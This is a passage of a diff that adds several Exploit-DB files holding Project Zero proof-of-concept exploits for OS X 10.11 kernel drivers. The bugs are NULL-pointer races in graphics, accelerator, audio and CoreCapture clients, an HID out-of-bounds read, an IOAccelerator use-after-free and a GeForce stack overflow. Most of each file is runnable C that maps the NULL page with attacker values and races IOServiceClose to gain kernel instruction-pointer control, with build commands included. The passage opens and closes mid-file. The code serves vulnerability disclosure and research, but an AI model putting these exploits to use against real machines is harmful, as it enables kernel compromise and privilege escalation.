&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc() {
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("AppleMuxControl", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for (;;) {
poc();
}
return 0;
}

186
platforms/osx/dos/39923.c Executable file
View file

@ -0,0 +1,186 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782
AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.
We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
// ianbeer
// clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl
AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.
We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0; /// anything :)
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc() {
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("NVDC", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for (;;) {
poc();
}
return 0;
}

184
platforms/osx/dos/39924.c Executable file
View file

@ -0,0 +1,184 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=778
IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
A series of dereferences from this pointer lead to trivial RIP control.
We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
this+0x100.
By mapping the NULL page into userspace we can control the pointer read.
tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
//ianbeer
//clang -o ioaccel_race ioaccel_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL dereference in IOAccelSharedUserClient2::page_off_resource
IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
A series of dereferences from this pointer lead to trivial RIP control.
We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
this+0x100.
By mapping the NULL page into userspace we can control the pointer read.
tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 2;
inputScalarCnt = 0;
inputStructCnt = 8;
outputScalarCnt = 0;
outputStructCnt = 0;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc(){
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("IntelAccelerator", 6);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for(;;) {
poc();
}
return 0;
}

172
platforms/osx/dos/39925.c Executable file
View file

@ -0,0 +1,172 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=777
Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.
If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
// ianbeer
//clang -o CoreCaptureNull CoreCaptureNull.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL dereference in CoreCaptureResponder due to unchecked return value
Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.
If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0;
inputScalarCnt = 4;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 40960;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\xff';
}
*((uint64_t*)0x28) = 0xffffff4141414141;
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("IOAudioEngine", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
}

249
platforms/osx/dos/39926.c Executable file
View file

@ -0,0 +1,249 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=776
IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL
IOReturn IOAudioEngineUserClient::closeClient()
{
audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);
if (audioEngine && !isInactive()) {
if (isOnline()) {
stopClient();
}
audioEngine->clientClosed(this);
audioEngine = NULL;
External method 0 uses audioEngine without checking if it's NULL:
IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {
audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer);
IOAudioStream * audioStream;
IOReturn result = kIOReturnBadArgument;
audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer);
audioStream = audioEngine->getStreamForID(audioStreamIndex);
Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:
IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
IOAudioStream * stream = NULL;
assert(reserved);
if (reserved->streams) {
stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
}
return stream;
}
getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.
tested on OS X 10.11.4 (15E65) MacBookAir 5,2
*/
// ianbeer
// clang -o ioaudio_race ioaudio_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in IOAudioEngine
IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL
IOReturn IOAudioEngineUserClient::closeClient()
{
audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);
if (audioEngine && !isInactive()) {
if (isOnline()) {
stopClient();
}
audioEngine->clientClosed(this);
audioEngine = NULL;
External method 0 uses audioEngine without checking if it's NULL:
IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {
audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer);
IOAudioStream * audioStream;
IOReturn result = kIOReturnBadArgument;
audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer);
audioStream = audioEngine->getStreamForID(audioStreamIndex);
Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:
IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
IOAudioStream * stream = NULL;
assert(reserved);
if (reserved->streams) {
stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
}
return stream;
}
getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.
tested on OS X 10.11.4 (15E65) MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0;
inputScalarCnt = 4;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 40960;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\xff';
}
*((uint64_t*)0x28) = 0xffffff4141414141;
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("IOAudioEngine", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
}

191
platforms/osx/dos/39927.c Executable file
View file

@ -0,0 +1,191 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
if ( reportType >= kIOHIDReportTypeCount )
return kIOReturnBadArgument;
reportType is then used here:
element = GetHeadElement( GetReportHandlerSlot(reportID),
reportType);
while ( element ) {
shouldTickle |= element->shouldTickleActivity();
changed |= element->processReport( reportID,
where GetHeadElement is defined as:
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
This leads to an OOB read off the head array followed by virtual function calls
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
I can provide panic logs if required.
*/
// ianbeer
// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation
/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type
The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:
ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]
handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:
if ( reportType >= kIOHIDReportTypeCount )
return kIOReturnBadArgument;
reportType is then used here:
element = GetHeadElement( GetReportHandlerSlot(reportID),
reportType);
while ( element ) {
shouldTickle |= element->shouldTickleActivity();
changed |= element->processReport( reportID,
where GetHeadElement is defined as:
#define GetHeadElement(slot, type) _reportHandlers[slot].head[type]
This leads to an OOB read off the head array followed by virtual function calls
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.
I can provide panic logs if required.
*/
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
io_connect_t get_user_client(const char* name, int type) {
kern_return_t err;
CFDictionaryRef matching;
io_service_t service;
// try IOServiceMatching
matching = IOServiceMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
if (service == MACH_PORT_NULL) {
// try IOServiceNameMatching
matching = IOServiceNameMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
}
if (service == MACH_PORT_NULL) {
// try everything and look for a partial name match
matching = IOServiceMatching("IOService");
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
int found_it = 0;
while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
io_name_t object_name;
IOObjectGetClass(service, object_name);
if (strstr(object_name, name)) {
found_it = 1;
break;
}
IOObjectRelease(service);
}
IOObjectRelease(iterator);
if (!found_it) {
// couldn't find any matches for the name anywhere
return MACH_PORT_NULL;
}
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("IOServiceOpen failed: %s\n", mach_error_string(err));
IOObjectRelease(service);
return MACH_PORT_NULL;
}
IOObjectRelease(service);
return conn;
}
kern_return_t poc(io_connect_t client){
unsigned int selector;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
inputScalar[1] = 0x00a90000;
inputScalar[2] = 0;
inputScalarCnt = 3;
outputStructCnt = 0x1000;
selector = 12;
return IOConnectCallMethod(
client,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
int main(int argc, char** argv){
io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
if (client == MACH_PORT_NULL) {
printf("no client\n");
return 1;
}
poc(client);
return 0;
}

143
platforms/osx/dos/39928.c Executable file
View file

@ -0,0 +1,143 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=772
In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
setting up shared memory type 2.
At the moment the lock doesn't protect two threads racing where one reaches
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
IOAccelContext+0x610 inside the locked region.
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
// ianbeer
// clang -o ioaccel_mem_uaf ioaccel_mem_uaf.c -framework IOKit -framework CoreFoundation -lpthread
/*
OS X kernel use-after-free due to bad locking in IOAcceleratorFamily2
In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
setting up shared memory type 2.
At the moment the lock doesn't protect two threads racing where one reaches
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
IOAccelContext+0x610 inside the locked region.
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
io_connect_t get_user_client(const char* name, int type) {
kern_return_t err;
CFDictionaryRef matching;
io_service_t service;
// try IOServiceMatching
matching = IOServiceMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
if (service == MACH_PORT_NULL) {
// try IOServiceNameMatching
matching = IOServiceNameMatching(name);
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
}
if (service == MACH_PORT_NULL) {
// try everything and look for a partial name match
matching = IOServiceMatching("IOService");
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
int found_it = 0;
while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
io_name_t object_name;
IOObjectGetClass(service, object_name);
if (strstr(object_name, name)) {
found_it = 1;
break;
}
IOObjectRelease(service);
}
IOObjectRelease(iterator);
if (!found_it) {
// couldn't find any matches for the name anywhere
return MACH_PORT_NULL;
}
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("IOServiceOpen failed: %s\n", mach_error_string(err));
IOObjectRelease(service);
return MACH_PORT_NULL;
}
IOObjectRelease(service);
return conn;
}
kern_return_t ioconnect_map(io_connect_t conn, int type) {
mach_vm_address_t addr = 0;
mach_vm_size_t size = 0x1000;
return IOConnectMapMemory64(
conn,
type,
mach_task_self(),
&addr,
&size,
kIOMapAnywhere
);
}
kern_return_t ioconnect_unmap(io_connect_t conn, int type) {
mach_vm_address_t addr = 0;
mach_vm_size_t size = 0x1000;
return IOConnectUnmapMemory64(
conn,
type,
mach_task_self(),
addr
);
}
io_connect_t client = MACH_PORT_NULL;
void* poc(void* arg) {
for (int i = 0 ; i < 1000; i++) {
ioconnect_map(client, 2);
}
return NULL;
}
int main(int argc, char** argv){
for(;;){
client = get_user_client("IntelAccelerator", 2);
pthread_t t;
pthread_create(&t, NULL, poc, NULL);
poc(NULL);
pthread_join(t, NULL);
IOServiceClose(client);
}
return 0;
}

155
platforms/osx/dos/39930.c Executable file
View file

@ -0,0 +1,155 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=724
nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
It implements its own method and parameter demuxing using the struct-in struct-out
buffers.
The second dword in the struct in buffer is another method identifier used in a switch
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.
On entry to this method rsi points to a buffer in kernel space with completely
user-controlled contents.
The uint16_t field at +0xc is used a loop count for the memory copying loop at
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
frame pointer but the code only checks whether the value we provide (after bit shifting)
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
into.
This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
on device with the appropriate hardware (eg macbookpro)
*/
// ianbeer
// build: clang -o nv_shmoo nv_shmoo.c -framework IOKit
// tested on MacBookPro 10,1 w/10.11.3 (15D21)
/*
OS X kernel stack buffer overflow in GeForce gpu driver
nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
It implements its own method and parameter demuxing using the struct-in struct-out
buffers.
The second dword in the struct in buffer is another method identified used in a switch
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.
On entry to this method rsi points to a buffer in kernel space with completely
user-controlled contents.
The uint16_t field at +0xc is used a loop count for the memory copying loop at
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
frame pointer but the code only checks whether the value we provide (after bit shifting)
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
into.
This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
on device with the appropriate hardware (eg macbookpro)
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
uint64_t release_device_texture(mach_port_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputStructCnt = 4096;
memset(inputStruct, 'A', inputStructCnt);
*((uint32_t*)(inputStruct+0x0)) = 1;
*((uint32_t*)(inputStruct+0x4)) = 24; // ::setShmoo
*((uint16_t*)(inputStruct+0xc)) = 0x1fe;
outputStructCnt = 4096;
err = IOConnectCallMethod(
conn,
0x0,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
} else{
printf("worked?\n");
}
return 0;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
